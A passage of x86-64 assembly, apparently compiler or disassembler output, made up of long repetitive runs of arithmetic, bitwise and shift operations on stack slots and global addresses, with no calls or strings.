mov ecx, dword [rsp + 0x4308]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb918]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c9]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov byte [rsp + 0x155], al
lea rax, [rsp + 0xde0]
mov qword [0x14019dbf8], rax
lea rax, [0x14019d938]
mov qword [rsp + 0xbec8], rax
mov eax, dword [rsp + 0x4508]
mov ecx, dword [rsp + 0x481c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4348], eax
lea rax, [rsp + 0x45d8]
mov qword [rsp + 0xbed0], rax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [0x14019d8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb570]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa818]
movzx eax, byte [rax]
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov rcx, qword [0x14019d898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0xb9e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf14]
shl eax, cl
mov word [rsp + 0xc80], ax
lea rax, [rsp + 0x1e1]
mov qword [0x14019dc00], rax
mov eax, dword [rsp + 0x4710]
mov ecx, dword [rsp + 0x4388]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4458]
mov dword [rsp + 0x4888], eax
movzx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0xb448]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
movzx ecx, word [0x14019bfd0]
xor eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov word [rcx], ax
lea rax, [rsp + 0x4684]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe98]
mov dword [rcx], eax
mov rax, qword [0x14019d9a0]
mov eax, dword [rax]
mov dword [rsp + 0x488c], eax
mov rax, qword [rsp + 0xb110]
mov ecx, dword [rsp + 0x43e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xb600]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019db90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0xb098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19c], al
mov eax, dword [rsp + 0x43c0]
mov dword [rsp + 0x4890], eax
mov rax, qword [rsp + 0xb998]
mov rcx, qword [rsp + 0xae90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb868]
mov dword [rcx], eax
lea rax, [rsp + 0x11ac]
mov qword [rsp + 0xbee0], rax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb500]
mov byte [rcx], al
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov byte [rsp + 0x191], al
lea rax, [rsp + 0x1108]
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xb7b0]
mov rcx, qword [rsp + 0xb118]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
mov eax, dword [0x14019db58]
mov ecx, dword [rsp + 0x4218]
add ecx, eax
mov eax, ecx
mov dword [0x14019bef8], eax
lea rax, [rsp + 0x4670]
mov qword [rsp + 0xbef0], rax
mov rax, qword [rsp + 0xb8f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xabe0]
mov qword [rsp + 0xbef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbef8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb218]
mov dword [rcx], eax
lea rax, [rsp + 0x47f4]
mov qword [rsp + 0xbf00], rax
mov rax, qword [0x14019d9b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf5c], ax
movzx eax, byte [rsp + 0x1a5]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
lea rax, [rsp + 0x4874]
mov qword [rsp + 0xbf08], rax
mov eax, dword [rsp + 0x4650]
movzx ecx, al
mov eax, dword [rsp + 0x42dc]
shl eax, cl
mov rcx, qword [rsp + 0xb6a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov dword [rsp + 0x4894], eax
lea rax, [rsp + 0x416c]
mov qword [0x14019dc08], rax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [0x14019bf16]
add eax, ecx
mov rcx, qword [rsp + 0xa968]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbdd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xbf10], rax
mov rax, qword [0x14019d940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10dc]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2f0]
mov eax, dword [rax]
mov dword [rsp + 0x4898], eax
mov rax, qword [rsp + 0xbdc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x421c], eax
movzx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0xab90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb050]
mov word [rcx], ax
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0xbf18], rax
mov rax, qword [rsp + 0xb2d8]
mov ecx, dword [rsp + 0x3f34]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c008], eax
mov rax, qword [0x14019d8c0]
mov rcx, qword [rsp + 0xba60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43c8], eax
lea rax, [rsp + 0x3ee8]
mov qword [rsp + 0xbf20], rax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x346c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xba68]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf50], ax
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x20c], al
mov rax, qword [0x14019d998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4264], eax
lea rax, [rsp + 0x4484]
mov qword [rsp + 0xbf28], rax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x4274]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4390], eax
mov eax, dword [0x14019bf58]
mov rcx, qword [rsp + 0xb038]
mov qword [rsp + 0xbf30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf30]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bf2c], eax
mov rax, qword [rsp + 0xb240]
mov eax, dword [rax]
mov dword [rsp + 0x489c], eax
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
sar eax, cl
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
or eax, ecx
mov byte [rsp + 0xf9], al
movzx eax, byte [rsp + 0x1a5]
mov byte [rsp + 0x20d], al
movzx eax, word [rsp + 0x1118]
mov rcx, qword [rsp + 0xbee8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [0x14019bfc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x36d0], eax
mov eax, dword [rsp + 0x4480]
mov ecx, dword [rsp + 0x42ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43ac], eax
movzx eax, word [rsp + 0x10e0]
movzx ecx, word [rsp + 0x1040]
add eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019dbc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaba0]
mov eax, dword [rax]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [0x14019bfe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4260], eax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0xbf38], rax
mov eax, dword [rsp + 0x48a0]
mov ecx, dword [rsp + 0x3df8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf03]
add eax, ecx
mov byte [rsp + 0x1e7], al
lea rax, [rsp + 0x10d4]
mov qword [rsp + 0xbf40], rax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x421c]
mov dword [rsp + 0x48a4], eax
lea rax, [0x14019900d]
mov qword [0x14019dc10], rax
mov rax, qword [rsp + 0xbd20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb610]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov word [rsp + 0x11c0], ax
mov rax, qword [rsp + 0xaea0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov rcx, qword [rsp + 0xb3f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4504]
mov rcx, qword [rsp + 0xb5f0]
mov qword [rsp + 0xbf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c7c], eax
mov eax, dword [rsp + 0x47e4]
mov dword [rsp + 0x48a8], eax
mov rax, qword [0x14019d8a8]
mov ecx, dword [rsp + 0x46b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4728], eax
mov eax, dword [rsp + 0x462c]
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0xb9d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbf00]
mov qword [rsp + 0xbf50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf50]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb270]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1000], ax
movzx eax, byte [rsp + 0x1aa]
movzx ecx, byte [rsp + 0x1c2]
and eax, ecx
mov byte [0x14019bf3a], al
lea rax, [rsp + 0x4220]
mov qword [rsp + 0xbf58], rax
mov eax, dword [rsp + 0x47e8]
mov ecx, dword [0x14019bfbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3334], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xbd78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4190], eax
movzx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0xbdd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf28], ax
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0xbf68], rax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [0x14019beec]
add eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xad60]
movzx eax, byte [rax]
mov byte [rsp + 0x20e], al
lea rax, [rsp + 0x4718]
mov qword [0x14019dc18], rax
mov rax, qword [rsp + 0xac70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d0], eax
movzx eax, word [rsp + 0xc80]
movzx ecx, word [rsp + 0xf3c]
add eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x207]
mov byte [rsp + 0x20f], al
mov rax, qword [rsp + 0xb230]
mov rcx, qword [rsp + 0xbc28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4540], eax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x456c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4674], eax
mov eax, dword [rsp + 0x3af4]
mov ecx, dword [rsp + 0x46f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3420], eax
mov rax, qword [0x14019d8f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0xaeb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14019d797], al
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x427c]
shr eax, cl
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6b0]
mov eax, dword [rax]
mov dword [rsp + 0x48b4], eax
mov eax, dword [rsp + 0x48b4]
mov ecx, dword [rsp + 0x4240]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4294], eax
lea rax, [0x14019bf40]
mov qword [rsp + 0xbf70], rax
mov rax, qword [rsp + 0xb5c0]
mov ecx, dword [rsp + 0x4354]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4088], eax
movsx eax, byte [rsp + 0x209]
mov rcx, qword [rsp + 0xbc10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16d], al
lea rax, [rsp + 0xc84]
mov qword [rsp + 0xbf78], rax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xde0]
add eax, ecx
mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
movzx eax, byte [rsp + 0x163]
mov byte [0x14019d7e6], al
lea rax, [rsp + 0x4678]
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x476c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4854], eax
movzx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0xae70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10d4], ax
lea rax, [rsp + 0x204]
mov qword [rsp + 0xbf88], rax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x42a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4380], eax
lea rax, [rsp + 0x434c]
mov qword [rsp + 0xbf90], rax
mov rax, qword [rsp + 0xb570]
mov rcx, qword [rsp + 0xbe48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x416c]
mov ecx, dword [rsp + 0x4584]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e4c], eax
lea rax, [rsp + 0xed4]
mov qword [0x14019dc20], rax
lea rax, [rsp + 0x19d]
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov ecx, dword [0x14019bf74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov dword [rsp + 0x48b8], eax
movsx eax, word [rsp + 0xed8]
movsx ecx, word [rsp + 0x1138]
or eax, ecx
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
mov rax, qword [0x14019d950]
movzx eax, byte [rax]
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0xbf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1024]
xor eax, ecx
mov word [rsp + 0x10fc], ax
lea rax, [rsp + 0x44f8]
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xbec0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaad8]
mov qword [rsp + 0xbfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfa8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bf50], eax
mov rax, qword [rsp + 0xa7e8]
mov rcx, qword [0x14019d9c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0xbf80]
mov eax, dword [rax]
mov dword [rsp + 0x48bc], eax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xbf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4584], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf1f]
add eax, ecx
mov byte [rsp + 0x17f], al
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xbfb0], rax
mov rax, qword [rsp + 0xb900]
mov rcx, qword [rsp + 0xab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41a8], eax
mov rax, qword [rsp + 0xb1d8]
mov eax, dword [rax]
mov dword [rsp + 0x48c0], eax
mov eax, dword [rsp + 0x3978]
mov ecx, dword [0x14019d7e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019db40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov byte [rsp + 0x20d], al
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xbfb8], rax
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb798]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba28]
mov word [rcx], ax
mov rax, qword [0x14019d798]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0xaf28]
mov ecx, dword [rsp + 0x4290]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0xb408]
mov eax, dword [rax]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d7e4]
add eax, ecx
mov byte [rsp + 0x19b], al
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xea4], ax
lea rax, [rsp + 0x4760]
mov qword [0x14019dc28], rax
lea rax, [rsp + 0x4450]
mov qword [rsp + 0xbfc0], rax
mov rax, qword [rsp + 0xbef0]
mov eax, dword [rax]
mov rcx, qword [0x14019db40]
mov qword [rsp + 0xbfc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfc8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xac18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x443c]
mov dword [rsp + 0x48c8], eax
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1090]
xor eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0xb5b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1d6], al
mov rax, qword [rsp + 0xb950]
mov eax, dword [rax]
mov dword [rsp + 0x48cc], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4700]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b0], eax
lea rax, [rsp + 0x4710]
mov qword [rsp + 0xbfd0], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x43ac]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c00c], eax
mov eax, dword [0x14019bf78]
mov ecx, dword [rsp + 0x4848]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb60]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x178]
mov rcx, qword [rsp + 0xa9b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20e], al
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [0x14019d8f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
lea rax, [rsp + 0x176]
mov qword [rsp + 0xbfd8], rax
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xb0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov rax, qword [0x14019d930]
mov rcx, qword [rsp + 0xa7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb9d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0xaf58]
movzx eax, word [rax]
mov rcx, qword [0x14019d9b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019dbf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb150]
mov qword [rsp + 0xbfe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfe0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4424], eax
lea rax, [rsp + 0x4834]
mov qword [rsp + 0xbfe8], rax
mov rax, qword [rsp + 0xafe0]
mov ecx, dword [0x14019bfe4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov dword [rsp + 0x48d0], eax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa720]
mov byte [rcx], al
movzx eax, word [rsp + 0xfac]
movzx ecx, word [0x14019bfd4]
sar eax, cl
mov word [rsp + 0xde0], ax
lea rax, [rsp + 0x429c]
mov qword [rsp + 0xbff0], rax
mov eax, dword [rsp + 0x470c]
mov ecx, dword [rsp + 0x46dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42cc], eax
lea rax, [rsp + 0x5c]
mov qword [0x14019dc30], rax
movzx eax, word [0x14019bfdc]
mov word [rsp + 0x11c4], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
and eax, ecx
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x188]
movzx ecx, byte [0x14019d7b2]
add eax, ecx
mov byte [rsp + 0x1e6], al
mov eax, dword [rsp + 0x44c0]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0xaa60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x439c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb280]
mov dword [rcx], eax
lea rax, [rsp + 0x462c]
mov qword [rsp + 0xbff8], rax
mov rax, qword [rsp + 0xb8a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba18]
mov rcx, qword [rsp + 0xba80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4294], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0x11c8], ax
movzx eax, byte [0x14019bf3a]
movzx ecx, byte [rsp + 0x147]
sub eax, ecx
mov rcx, qword [0x14019da20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb218]
mov rcx, qword [rsp + 0xb358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov dword [rcx], eax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xc000], rax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47c4], eax
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x48d8], eax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19d], al
mov rax, qword [rsp + 0xb828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbbb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0x184]
mov byte [rsp + 0x213], al
movsx eax, word [rsp + 0x1148]
mov rcx, qword [0x14019dae0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1058], ax
mov rax, qword [rsp + 0xb858]
mov ecx, dword [rsp + 0x46d8]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c010], eax
mov eax, dword [rsp + 0x489c]
mov dword [rsp + 0x48dc], eax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0xa9a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0xaee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
add eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0xabc8]
mov rcx, qword [rsp + 0xa718]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d1c], eax
mov rax, qword [rsp + 0xaaa8]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0xb220]
mov eax, dword [rax]
mov dword [rsp + 0x48e0], eax
mov eax, dword [rsp + 0x4588]
mov ecx, dword [rsp + 0x3cbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0x102c]
mov rcx, qword [rsp + 0xb010]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019da30]
mov word [rcx], ax
lea rax, [rsp + 0x43f4]
mov qword [rsp + 0xc008], rax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [rsp + 0x483c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47a4], eax
mov eax, dword [rsp + 0x43c8]
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0xb868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x460c], eax
mov eax, dword [rsp + 0x466c]
mov ecx, dword [rsp + 0x46ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d4], eax
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0xc010], rax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17e], al
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xc018], rax
movzx eax, word [rsp + 0x1060]
movzx ecx, word [rsp + 0x101c]
sub eax, ecx
mov word [0x14019d844], ax
mov rax, qword [rsp + 0xa8a8]
mov rcx, qword [rsp + 0xaaa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
lea rax, [rsp + 0x4468]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xb3a8]
